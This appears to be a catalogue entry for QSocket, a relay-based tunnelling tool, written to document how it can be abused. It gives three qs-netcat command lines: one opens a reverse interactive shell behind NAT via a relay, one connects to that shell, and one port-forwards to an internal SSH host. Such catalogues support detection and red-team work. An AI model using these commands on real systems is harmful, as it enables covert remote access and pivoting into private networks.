.. /Qsocket
Star

Access

QSocket is a Go port of the Global Socket Toolkit that allows two hosts behind NAT/Firewall to establish an E2E encrypted TCP connection with each other through the Quantum Socket Relay Network (QSRN), using tools such as qs-netcat. Can be abused for reverse shells, port forwarding, SOCKS proxying and data transfer.

Paths:

Resources:

Acknowledgements:

Detections:

Access

  1. Server-side of a reverse PTY shell. Spawns a true interactive login shell when a client connects using the same secret.

    qs-netcat -s MySecret -l -i
    Use case
    Interactive reverse shell access to a host behind NAT/firewall.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS
  2. Client-side connection to the qs-netcat listening server, giving a real interactive PTY shell.

    qs-netcat -s MySecret -i
    Use case
    Connecting to a reverse shell hosted behind NAT/firewall.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS
  3. Port-forwards connections to 192.168.6.7:22 on the server's private network via the QSRN.

    qs-netcat -s MySecret -l -f 192.168.6.7:22
    Use case
    Reach an internal host/service on a NAT'd network.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS